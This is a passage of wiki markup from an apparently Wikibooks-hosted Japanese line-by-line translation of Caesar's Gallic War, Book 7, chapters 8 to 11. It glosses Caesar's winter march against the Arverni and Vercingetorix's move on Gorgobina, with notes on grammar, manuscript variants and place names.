*&lt;u&gt;tamen&lt;/u&gt; [[wikt:en:discussus#Latin|discussa]] [[wikt:en:nix#Latin|nive]] sex in [[wikt:en:altitudo#Latin|altitudinem]] [[wikt:en:pes#Latin|pedum]] 
**にもかかわらず&lt;small&gt;（カエサル勢は）&lt;/small&gt;深さ6&lt;u&gt;ペース&lt;/u&gt;の雪を粉砕して、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：1[[ガイウス・ユリウス・カエサルの著作/通貨・計量単位#ペース|ペース]]は約29.6cmで、6ペースは約1.8メートル弱。）&lt;/span&gt;
*atque ita [[wikt:en:via#Latin|viis]] [[wikt:en:patefactus#Latin|patefactis]] [[wikt:en:summus#Latin|summo]] [[wikt:en:miles#Latin|militum]] &lt;u&gt;sudore&lt;/u&gt;
**このように兵士たちの最大の努力によって道が開かれて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:sudor#Latin|sudore]]「汗」だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:labor#Latin|labore]]「労苦」 となっている。）&lt;/span&gt;
*ad fines [[wikt:en:Arverni#Latin|Arvernorum]] [[wikt:en:pervenit#Latin|pervenit]]. 
**[[w:アルウェルニ族|アルウェルニー族]]の領土へ到達した。
:　
;　　　アルウェルニー族が、カエサルの奇襲に周章狼狽する
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Quibus [[wikt:en:oppressus#Latin|oppressis]] [[wikt:en:inopinans#Latin|inopinantibus]], 
**&lt;small&gt;（アルウェルニー族は）&lt;/small&gt;彼らに対する&lt;small&gt;（カエサルの）&lt;/small&gt;攻撃を予期していなかったが、
*quod se &lt;u&gt;Cevenna&lt;/u&gt; ut [[wikt:en:murus#Latin|muro]] [[wikt:en:munitus#Latin|munitos]] [[wikt:en:existimabant|existimabant]], 
**──というのは、自分たちは&lt;u&gt;ケウェンナ&lt;/u&gt;を壁として防御されていると考えていたからであり、
*ac &lt;u&gt;ne&lt;/u&gt; [[wikt:en:singularis#Latin|singulari]] &lt;u&gt;quidem&lt;/u&gt; [[wikt:en:umquam#Latin|umquam]] homini eo tempore anni [[wikt:en:semita#Latin|semitae]] [[wikt:en:patuerant|patuerant]], 
**かつ、その時季には、個人にとってさえも、小道はかつて開かれていなかったからであるが、──
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ne quidem|ne ～ quidem]]「～でさえ…ない」）&lt;/span&gt;
*[[wikt:en:eques#Latin|equitibus]] [[wikt:en:imperat|imperat]], 
**&lt;small&gt;（カエサルは）&lt;/small&gt;騎兵たちに命令する。
*ut, [[wikt:en:quam#Adverb|quam]] [[wikt:en:late#Latin|latissime]] [[wikt:en:possint|possint]], [[wikt:en:vagentur|vagentur]] 
**できるだけ広く動き回り、
*et [[wikt:en:quam#Adverb|quam]] maximum hostibus [[wikt:en:terror#Latin|terrorem]] [[wikt:en:inferant|inferant]]. 
**敵たちに最大限の恐怖を引き起こすように、と。
:　
;　　　ウェルキンゲトリークスが、ビトゥリゲース族のもとから軍勢を取って返す
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Celeriter haec [[wikt:en:fama#Latin|fama]] ac &lt;u&gt;nuntiis&lt;/u&gt; 
**これらのことは速やかに風評や伝令たちによって、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、主要写本&amp;omega; では [[wikt:en:nuntii#Latin|nuntii]] だが、&lt;br&gt;　　　　　　　　　''[[ガリア戦記/注解編/写本と校訂版#Manutius|Manutius]]'' が [[wikt:en:nuntiis#Etymology_1|nuntiis]] と修正提案している。）&lt;/span&gt;
*ad [[wikt:en:Vercingetorix#Latin|Vercingetorigem]] [[wikt:en:perferuntur|perferuntur]]; 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]のもとへ報知される。
*quem [[wikt:en:perterritus#Latin|perterriti]] omnes [[wikt:en:Arverni#Latin|Arverni]] [[wikt:en:circumsistunt|circumsistunt]] atque [[wikt:en:obsecrant|obsecrant]], 
**彼&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;を、脅かされている[[w:アルウェルニ族|アルウェルニー族]]の皆が取り巻いて、嘆願する。
*ut suis [[wikt:en:fortuna#Latin|fortunis]] [[wikt:en:consulat#Latin|consulat]], 
**自分たち&lt;small&gt;〔アルウェルニー族〕&lt;/small&gt;の境遇に配慮してくれるように、
*&lt;u&gt;neve&lt;/u&gt; ab hostibus &lt;u&gt;diripiantur&lt;/u&gt;,  
**自分たち&lt;small&gt;〔アルウェルニー族〕&lt;/small&gt;が敵&lt;small&gt;〔ローマ人〕&lt;/small&gt;によって略奪されることを許容しないように、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：この行は、&amp;alpha;系写本では [[wikt:en:neve#Latin|neve]] ab hostibus [[wikt:en:diripiantur|diripiantur]] &lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:neu#Latin|neu]] se ab hostibus [[wikt:en:diripi|diripi]] [[wikt:en:patiatur|patiatur]] となっている。）&lt;/span&gt;
*[[wikt:en:praesertim#Latin|praesertim]] cum [[wikt:en:videat|videat]] [[wikt:en:omnis#Latin|omne]] ad se bellum [[wikt:en:translatus#Participle|translatum]]. 
**とりわけ、すべての戦争が自分たちへ向けられると&lt;small&gt;（彼が）&lt;/small&gt;見なしているのであるから
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：praesertim cum ～；とりわけ～であるから）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; Quorum ille [[wikt:en:prex#Latin|precibus]] [[wikt:en:permotus#Latin|permotus]] 
**彼&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;は、その者たちの懇願に揺り動かされて、
*[[wikt:en:castra#Latin|castra]] ex [[wikt:en:Bituriges#Latin|Biturigibus]] [[wikt:en:movet|movet]] in [[wikt:en:Arverni#Latin|Arveruos]] [[wikt:en:versus#Latin|versus]].
**陣営をビトゥリゲース族のところから[[w:アルウェルニ族|アルウェルニー族]]のところに向けて行軍する。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：castra movet 「陣営を動かす」＝「行軍する」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：現在の[[w:ブールジュ|ブールジュ]]辺りから[[w:クレルモン＝フェラン|クレルモン＝フェラン]]辺りに南下したようである。）&lt;/span&gt;
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===9節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/9節]]　{{進捗|00%|2026-01-12}}&lt;/span&gt;
;カエサルが北上して諸軍団と合流するが、同盟軍はゴルゴビナ攻略をめざす
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; At Caesar, [[wikt:en:biduum#Latin|biduum]] in his locis [[wikt:en:moratus#Participle|moratus]], 
**それに対して、カエサルは2日間、この地に留まった。
*quod haec de [[wikt:en:Vercingetorix#Latin|Vercingetorige]] usu ventura [[wikt:en:opinio#Latin|opinione]] [[wikt:en:praeceperat|praeceperat]], 
**──というのは、[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]についてこれ&lt;small&gt;〔陣営の移動〕&lt;/small&gt;が起こると予想をしていたからだが、──
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：usu venire 「起こる」→&amp;nbsp; usu [[wikt:en:venturus#Latin|ventūra]] (esse) 「起こるであろう」）&lt;/span&gt;
*per causam [[wikt:en:supplementum#Latin|supplementi]] [[wikt:en:equitatus#Noun|equitatus]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:cogendus#Latin|cogendi]] 
**補充兵と騎兵隊を徴集するためという口実のもとに、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：per causam 「口実のもとに」）&lt;/span&gt;
*ab [[wikt:en:exercitus#Noun|exercitu]] [[wikt:en:discedit|discedit]]; 
**軍隊から離れる。
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:Brutus#Latin|Brutum]] [[wikt:en:adulescens#Noun|adulescentem]] his copiis [[wikt:en:praeficit|praeficit]]; 
**&lt;small&gt;（カエサルは）&lt;/small&gt;&lt;u&gt;青年ブルートゥス&lt;/u&gt;にこの軍勢を指揮させる。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：青年ブルートゥスとは、&lt;br&gt;　　　　[[w:デキムス・ユニウス・ブルトゥス・アルビヌス|デキムス・ブルートゥス]]（&lt;small&gt;[[w:la:Decimus_Iunius_Brutus_Albinus|Decimus Iunius Brutus Albinus]]&lt;/small&gt;）のことで、&lt;br&gt;　　　　[[ガリア戦記 第3巻#14節|第3巻14節]]でカエサルの艦隊を指揮した。）&lt;/span&gt;
*hunc [[wikt:en:monet#Latin|monet]], ut in omnes partes [[wikt:en:eques#Latin|equites]] quam [[wikt:en:late#Latin|latissime]] [[wikt:en:pervagentur|pervagentur]]: 
**彼には、[[w:騎兵|騎兵]]たちがあらゆる方面にできるだけ広く駆け回るようにと、忠告する。
*&lt;u&gt;daturum&lt;/u&gt; se &lt;u&gt;operam&lt;/u&gt;, ne longius [[wikt:en:triduum#Latin|triduo]] ab [[wikt:en:castra#Latin|castris]] [[wikt:en:absit#Latin|absit]]. 
**自分&lt;small&gt;〔カエサル〕&lt;/small&gt;は、3日間より長く陣営から離れないように、努力をするであろう、と。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:opera#Latin|operam]] dare 「努力をする」→&amp;nbsp; operam  [[wikt:en:daturus#Latin|datūrum]] (esse) 「努力をするであろう」）&lt;/span&gt;
[[画像:Image-Vienne-Cropped.jpg|thumb|right|300px|'''ウィエンナ'''（Vienna）すなわち現在のヴィエンヌ（Vienne）。ロダヌス川（現[[w:ローヌ川|ローヌ川]]）のほとりにある当地は、南仏[[w:プロヴァンス|プロヴァンス地方]]と北仏[[w:ブルゴーニュ地域圏|ブルゴーニュ地方]]を結ぶ交通の要衝として、古代ローマ時代から栄え、今もローマ時代の遺跡が多く残る。]]
:　
;　　　カエサルが、急いでウィエンナへ北進する
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; His [[wikt:en:constitutus#Participle|constitutis]] rebus, 
**これらの事を決定すると、
*&lt;u&gt;omnibus&lt;/u&gt; suis [[wikt:en:inopinans#Latin|inopinantibus]], 
**配下の皆が予期しないほど、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：omnibus は &amp;beta;系写本の記述で、&lt;br&gt;　　　　　　　　　&amp;alpha;系写本にはない。）&lt;/span&gt;
*quam [[wikt:en:maximus#Latin|maximis]] potest [[wikt:en:iter#Latin|itineribus]], 
**できるかぎりの強行軍で、
*[[wikt:en:Vienna#Etymology_1|Viennam]] [[wikt:en:pervenit#Latin|pervenit]]. 
**&lt;u&gt;ウィエンナ&lt;/u&gt;に到着する。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ウィエンナ [[w:la:Vienna|Vienna]] は、&lt;br&gt;　　　　　現在の[[w:ヴィエンヌ (イゼール県)|ヴィエンヌ]] ''[[w:en:Vienne, Isère|Vienne]]''）&lt;/span&gt;
:　
;　　　カエサルが、ハエドゥイー族領を抜けて、2個軍団が冬営するリンゴネース族領へ向けて北上する
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:ibi#Latin|Ibi]] [[wikt:en:nactus#Latin|nactus]] [[wikt:en:recens#Latin|recentem]] [[wikt:en:equitatus#Latin|equitatum]], quem [[wikt:en:multus#Latin|multis]] ante diebus eo [[wikt:en:praemiserat|praemiserat]], 
**そこで、何日も前にそこに先遣していたまだ新兵の騎兵隊を得て、
[[画像:Langres_FR_(march_2008).jpg|thumb|right|300px|リンゴネース族（Lingones）の名を残す[[w:ラングル|ラングル]]（Langres）の街の雪景色]]
*neque [[wikt:en:diurnus#Latin|diurno]] neque [[wikt:en:nocturnus#Latin|nocturno]] itinere [[wikt:en:intermissus#Latin|intermisso]] 
**昼間も夜間も行軍を中断せずに、
*per fines [[wikt:en:Aedui#Latin|Haeduorum]] 
**[[w:ハエドゥイ族|ハエドゥイー族]]の領土を通って、
*in [[wikt:en:Lingones#Latin|Lingones]] [[wikt:en:contendit|contendit]], 
**&lt;u&gt;リンゴネース族のところ&lt;/u&gt;に急いだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：リンゴネース族 [[w:la:Lingones|Lingones]] の首邑は&lt;br&gt;　　　　　現在の[[w:ラングル|ラングル]] ''[[w:en:Langres|Langres]]'' で、&lt;br&gt;　　　　　ローマ時代には [[w:la:Andematunnum|Andematunnum]] と呼ばれたが、&lt;br&gt;　　　　''[[wikt:fr:Lingones|Lingones]]'' の転訛が ''[[wikt:fr:Langres|Langres]]'' である。）&lt;/span&gt;
*[[wikt:en:ubi#Latin|ubi]] [[wikt:en:duo#Latin|duae]] [[wikt:en:legio#Latin|legiones]] [[wikt:en:hiemabant|hiemabant]], 
**そこには、2個[[w:ローマ軍団|軍団]]が冬営していた。
*ut, si [[wikt:en:aliquis#Latin|quid]] etiam de sua [[wikt:en:salus#Latin|salute]] ab [[wikt:en:Aedui#Latin|Haeduis]] [[wikt:en:iniretur|iniretur]] [[wikt:en:consilium#Latin|consilii]], [[wikt:en:celeritas#Latin|celeritate]] [[wikt:en:praecurreret|praecurreret]]. 
**もし&lt;small&gt;（カエサル）&lt;/small&gt;自らの安全についてさえ、ハエドゥイー族により何らかの謀計が始められても、速やかに凌駕するように。
:　
;　　　カエサルが、リンゴネース族領の軍団冬営地へ到着して、諸軍団へ集結を指令する
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; [[wikt:en:eo#Adverb|Eo]] cum [[wikt:en:pervenisset|pervenisset]], 
**&lt;small&gt;（カエサルは）&lt;/small&gt;そこへ到着したときに、
*ad reliquas [[wikt:en:legio#Latin|legiones]] [[wikt:en:mittit|mittit]] 
**残りの軍団のもとへ&lt;small&gt;（伝令を）&lt;/small&gt;遣わす。
*&lt;u&gt;prius&lt;/u&gt;que omnes in unum locum [[wikt:en:cogit|cogit]], &lt;u&gt;quam&lt;/u&gt; de eius [[wikt:en:adventus#Latin|adventu]] [[wikt:en:Arverni#Latin|Arvernis]] [[wikt:en:nuntiari|nuntiari]] [[wikt:en:posset#Latin|posset]]. 
**彼の到着について[[w:アルウェルニ族|アルウェルニー族]]に知らされ得るより早く、総勢が一か所に集結するように、と。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:priusquam#Latin|prius ～ quam]] …；…より早く～）&lt;/span&gt;
:　&lt;!--　[[wikt:en:|　--&gt;
;　　　ウェルキンゲトリークスが、ボイイー族がいるゴルゴビナの攻略を企図する
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Hac re [[wikt:en:cognitus#Participle|cognita]], 
**この事を知ると、
*[[wikt:en:Vercingetorix#Latin|Vercingetorix]] rursus in [[wikt:en:Bituriges#Latin|Bituriges]] [[wikt:en:exercitus#Noun|exercitum]] [[wikt:en:reducit|reducit]] 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は再びビトゥリゲース族のところに軍隊を連れ戻して、
*atque [[wikt:en:inde#Latin|inde]] [[wikt:en:profectus#Participle_2|profectus]] Gorgobinam, [[wikt:en:Boii#Latin|Boiorum]] [[wikt:en:oppidum#Latin|oppidum]], 
**そこから、[[w:ボイイ族|ボイイー族]]の城塞都市であるゴルゴビナへ出発した。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ゴルゴビナ ''[[w:en:Gorgobina|Gorgobina]]'' は、現在の候補地としては、&lt;br&gt;　　　　　[[w:ニエーヴル県|ニエーヴル県]]のサン＝パリズ＝ル＝シャテル&lt;small&gt;（[[w:en:Saint-Parize-le-Châtel|Saint-Parize-le-Châtel]]）&lt;/small&gt;&lt;br&gt;　　　　　[[w:アンドル＝エ＝ロワール県|アンドル＝エ＝ロワール県]]のラ・ゲルシュ（[[w:en:La Guerche|La Guerche]]）&lt;br&gt;　　　　あるいは、[[w:シェール県|シェール県]]のサン＝サテュル（[[w:fr:Saint-Satur|Saint-Satur]]）などが挙げられている。）&lt;/span&gt;
*quos ibi [[wikt:en:helvetico|Helvetico]] [[wikt:en:proelium#Latin|proelio]] [[wikt:en:victus#Participle|victos]] 
**──[[w:ヘルウェティイ族|ヘルウェーティイー族]]の戦闘で打ち負かされた彼らをそこに、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ボイイー族はヘルウェーティイー族とともにガッリアに移動して、カエサルに敗れていた。第1巻28節～29節を参照。）&lt;/span&gt;
*Caesar [[wikt:en:conlocaverat#Latin|conlocaverat]] [[wikt:en:Aedui#Latin|Haeduis]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:adtribuerat#Latin|adtribuerat]], 
**カエサルは宿営させ、ハエドゥイー族&lt;small&gt;（の庇護）&lt;/small&gt;に委ねていたのだが、──
*[[wikt:en:oppugnare#Latin|oppugnare]] [[wikt:en:instituit#Latin|instituit]].
**&lt;small&gt;（ウェルキンゲトリークスはゴルゴビナの）&lt;/small&gt;攻略を決意した。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===10節===
[[画像:Caesar's_campaign_to_Agedincum_in_52BC.png|thumb|right|250px|前節までのカエサルの[[w:ナルボンヌ|ナルボー]]からアゲディンクムへの進路（青線）および[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の進路（赤線）。青字名は親ローマ部族、赤字名は反ローマ部族。カエサルは[[w:アルウェルニ族|アルウェルニー族]]の本拠ゲルゴウィアを突くと見せかけてウェルキンゲトリークスを引き寄せ、その間に[[w:ブルゴーニュ地域圏|ブルゴーニュ]]に冬営していた諸軍団と合流できた。これに対して、ウェルキンゲトリークスはボイイー族を攻めようとする。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/10節]]　{{進捗|00%|2026-01-16}}&lt;/span&gt;
;カエサルがアゲディンクムを発って、ボイイー族支援に向かう
:　
;　　　カエサルが抱えることになった「大きな困難」とは？
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Magnam haec res Caesari [[wikt:en:difficultas#Latin|difficultatem]] ad [[wikt:en:consilium#Latin|consilium]] [[wikt:en:capiendus#Latin|capiendum]] [[wikt:en:adferebat|adferebat]]&lt;!--:--&gt;, 
**この事態は、カエサルが作戦を立てるためには、大きな困難を引き起こしていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：haec res 「この事態」とは、&lt;br&gt;　　　　　ウェルキンゲトリークスが&lt;br&gt;　　　　　ハエドゥイー族の庇護下にあったボイイー族を攻めること。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：magnam ～ difficultatem 「大きな困難を」）&lt;/span&gt;
*si reliquam partem [[wikt:en:hiems#Latin|hiemis]] uno loco [[wikt:en:legio#Latin|legiones]] [[wikt:en:contineret|contineret]], 
**もし、冬の残りの期間に、諸[[w:ローマ軍団|軍団]]を1か所に留めておくならば、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：前節で述べられたように、&lt;br&gt;　　　　　カエサルはリンゴネース族の軍団冬営地に着いたときに、&lt;br&gt;　　　　　諸軍団に1か所に集結するべく伝令を遣わしていた。）&lt;/span&gt;
*ne, [[wikt:en:stipendiarius#Latin|stipendiariis]] [[wikt:en:Haedui#Latin|Haeduorum]] [[wikt:en:expugnatus#Latin|expugnatis]], [[wikt:en:cunctus#Latin|cuncta]] Gallia [[wikt:en:deficeret|deficeret]], 
**[[w:ハエドゥイ族|ハエドゥイー族]]の朝貢国が攻略されて、ガッリア全体が背くのではないか？
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：「ハエドゥイー族の朝貢国」とは、ボイイー族のこと。）&lt;/span&gt;
*quod [[wikt:en:nullus#Determiner|nullum]] amicis in eo [[wikt:en:praesidium#Latin|praesidium]] &lt;u&gt;videret positum esse&lt;/u&gt;; 
**──というのは、彼&lt;small&gt;〔カエサル〕&lt;/small&gt;においては、友邦に対するいかなる守備隊も置かれていないと&lt;small&gt;（ガッリアが）&lt;/small&gt;見るからである──。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&lt;br&gt;　　　　　[[ガリア戦記/注解編/写本と校訂版#写本の系図|&amp;alpha;系写本]]のうち、&amp;chi;系･M･B･S写本などでは [[wikt:en:videret|videret]] [[wikt:en:positus#Latin|positum]] esse 、&lt;br&gt;　　　　　&amp;alpha;系写本のうち、写本M･L･Nなどでは [[wikt:en:videretur|videretur]] positum esse 、&lt;br&gt;　　　　　&amp;beta;系写本では、positum videret となっている。）&lt;/span&gt;
*si [[wikt:en:mature#Adverb|maturius]] ex [[wikt:en:hiberna#Noun|hibernis]] [[wikt:en:educeret|educeret]], 
**もし、尚早に冬営地から&lt;small&gt;（諸軍団を）&lt;/small&gt;進発させれば、
*ne ab re [[wikt:en:frumentarius#Latin|frumentaria]] [[wikt:en:durus#Latin|duris]] [[wikt:en:subvectio#Latin|subvectionibus]] [[wikt:en:laboraret|laboraret]]. 
**&lt;small&gt;（降雪時期の）&lt;/small&gt;糧秣供給の厄介な輸送によって苦労するのではないか？
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; &lt;u&gt;Praestare&lt;/u&gt; [[wikt:en:visus#Participle|visum]] est tamen omnes [[wikt:en:difficultas#Latin|difficultates]] [[wikt:en:perpeti#Verb|perpeti]], 
**しかしながら、あらゆる困難に耐えることの方が&lt;u&gt;優っている&lt;/u&gt;ように見える。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:praestare|praestare]] ～ [[wikt:en:quam#Adverb|quam]] …「…よりも～が優る」）&lt;/span&gt;
*&lt;u&gt;quam&lt;/u&gt; [[wikt:en:tantus#Latin|tanta]] [[wikt:en:contumelia#Latin|contumelia]] [[wikt:en:acceptus#Latin|accepta]] omnium suorum [[wikt:en:voluntas#Latin|voluntates]] [[wikt:en:alienare#Latin|alienare]]. 
**これほどの恥辱を受けて、配下の皆の意欲を遠ざけてしまう&lt;u&gt;よりは&lt;/u&gt;。
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Itaque [[wikt:en:cohortatus#Latin|cohortatus]] [[wikt:en:Haedui#Latin|Haeduos]] de [[wikt:en:supportandus#Latin|supportando]] [[wikt:en:commeatus#Noun|commeatu]], 
**こうして、&lt;small&gt;（カエサルは）&lt;/small&gt;ハエドゥイー族に軍需物資の輸送について、激励して、
*[[wikt:en:praemittit|praemittit]] ad [[wikt:en:Boii#Latin|Boios]], qui de suo [[wikt:en:adventus#Latin|adventu]] [[wikt:en:doceant|doceant]] 
**[[w:ボイイ族|ボイイー族]]のもとへ、&lt;small&gt;（カエサル）&lt;/small&gt;自らの到着について知らせるための者たちを先遣して、
*[[wikt:en:hortentur|hortentur]]&lt;nowiki&gt;que&lt;/nowiki&gt; ut in [[wikt:en:fides#Latin|fide]] [[wikt:en:maneant|maneant]] atque hostium [[wikt:en:impetus#Latin|impetum]] magno animo [[wikt:en:sustineant|sustineant]]. 
**&lt;small&gt;（カエサルへの）&lt;/small&gt;信義に留まって、敵たちの襲撃に大いなる決意をもって持ちこたえるように、と激励させた。
[[画像:Aqueduc2.jpg|thumb|right|250px|アゲディンクム、すなわちセノネース族（Senones）の名を残す現在の[[w:サンス|サーンス]]（Sens）に建てられたローマ時代の[[w:水道橋|水道橋]]遺跡。]]
:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Duabus [[wikt:en:Agedincum#Latin|Agedinci]] legionibus atque [[wikt:en:impedimentum#Latin|impedimentis]] [[wikt:en:totus#Latin|totius]] [[wikt:en:exercitus#Noun|exercitus]] [[wikt:en:relictus#Latin|relictis]], 
**アゲディンクムに、2個軍団および軍隊全体の輜重を残すと、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：アゲディンクムは敵対するセノネース族の首邑だが、&lt;br&gt;　　　　　[[ガリア戦記 第6巻#44節|第6巻44節]]で6個軍団を冬営させていた。&lt;br&gt;　　　　　現在の[[w:サンス|サーンス]]。）&lt;/span&gt;
*ad [[wikt:en:Boii#Latin|Boios]] [[wikt:en:proficiscitur|proficiscitur]].
**[[w:ボイイ族|ボイイー族]]のもとへ出発した。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===11節===
[[画像:France_-_Loiret_-_Montargis_-_Passerelle_vers_l'écluse.JPG|thumb|right|250px|ウェッラウノドゥーヌムの候補地の一つであるモンタルジ（Montargis）の運河沿いの景観。セノネース族の城塞都市ウェッラウノドゥーヌム（Vellaunodunum）が現在のどの地点に当たるのか定説はない。アゲディンクム（現在の[[w:サンス|サーンス]]）とケナブム（現在の[[w:オルレアン|オルレアン]]）の中間地点であると考えられることから、モンタルジ（[[w:en:Montargis|Montargis]]）、ボーヌ＝ラ＝ロランド（[[w:en:Beaune-la-Rolande|Beaune-la-Rolande]]）やシャトー＝ランドン（[[w:en:Château-Landon|Château-Landon]]）などが候補地に挙げられている。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/11節]]　{{進捗|00%|2026-02-02}}&lt;/span&gt;
;セノネース族のウェッラウノドゥーヌムを降し、カルヌーテース族のケナブムを攻略
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:alter#Latin|Altero]] die 
**&lt;small&gt;（カエサルは出発して）&lt;/small&gt;翌日に、
*cum ad [[wikt:en:oppidum#Latin|oppidum]] [[wikt:en:Senones#Latin|Senonum]] [[wikt:en:Vellaunodunum#Latin|Vellaunodunum]] [[wikt:en:venisset|venisset]], 
**セノネース族の城塞都市ウェッラウノドゥーヌムへやって来たときに、
*ne [[wikt:en:aliquem|quem]] post se hostem [[wikt:en:relinqueret|relinqueret]], 
**自らの後方に何らかの敵を残しておかないように、
*[[wikt:en:quo#Latin|quo]] [[wikt:en:expeditior#Latin|expeditiore]] re [[wikt:en:frumentarius#Adjective|frumentaria]] [[wikt:en:uteretur|uteretur]], 
**そのことにより、妨げなく糧秣供給を享受するように、
*[[wikt:en:oppugnare#Latin|oppugnare]] [[wikt:en:instituit#Latin|instituit]] 
**&lt;small&gt;（同市の）&lt;/small&gt;攻囲を決めて、
*&lt;u&gt;idque&lt;/u&gt; [[wikt:en:biduum#Latin|biduo]] [[wikt:en:circumvallavit|circumvallavit]]; 
**それ&lt;small&gt;〔城塞都市〕&lt;/small&gt;を2日間で&lt;small&gt;（塁壁で）&lt;/small&gt;囲んだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:id#Latin|id]]&lt;nowiki&gt;que&lt;/nowiki&gt; だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:eo#Etymology_4|eo]]&lt;nowiki&gt;que&lt;/nowiki&gt; となっている。）&lt;/span&gt;
:　
;　　　セノネース族の城塞都市ウェッラウノドゥーヌムが降伏する
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:tertius#Latin|tertio]] die 
**3日目に、
*[[wikt:en:missus#Participle|missis]] ex [[wikt:en:oppidum#Latin|oppido]] [[wikt:en:legatus#Noun|legatis]] de [[wikt:en:deditio#Latin|deditione]], 
**城塞都市から降伏についての使節たちが遣わされて来て、
*[[wikt:en:arma#Latin|arma]] [[wikt:en:conferri|conferri]], 
**武器が運び集められること、
*[[wikt:en:iumentum#Latin|iumenta]] [[wikt:en:produci#Latin|produci]], 
**役畜が引き渡されること、
*[[wikt:en:sescenti#Latin|sescentos]] [[wikt:en:obses#Latin|obsides]] [[wikt:en:dari#Latin|dari]] [[wikt:en:iubet#Latin|iubet]]. 
**600名の人質が供出されることを&lt;small&gt;（カエサルが）&lt;/small&gt;命じる。
:　
;　　　ウェッラウノドゥーヌムに副官トレボーニスと守備隊を残し、カエサル自身はケナブムへ向かう
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Ea qui [[wikt:en:conficeret|conficeret]], 
**それらのことを成就するための者として、
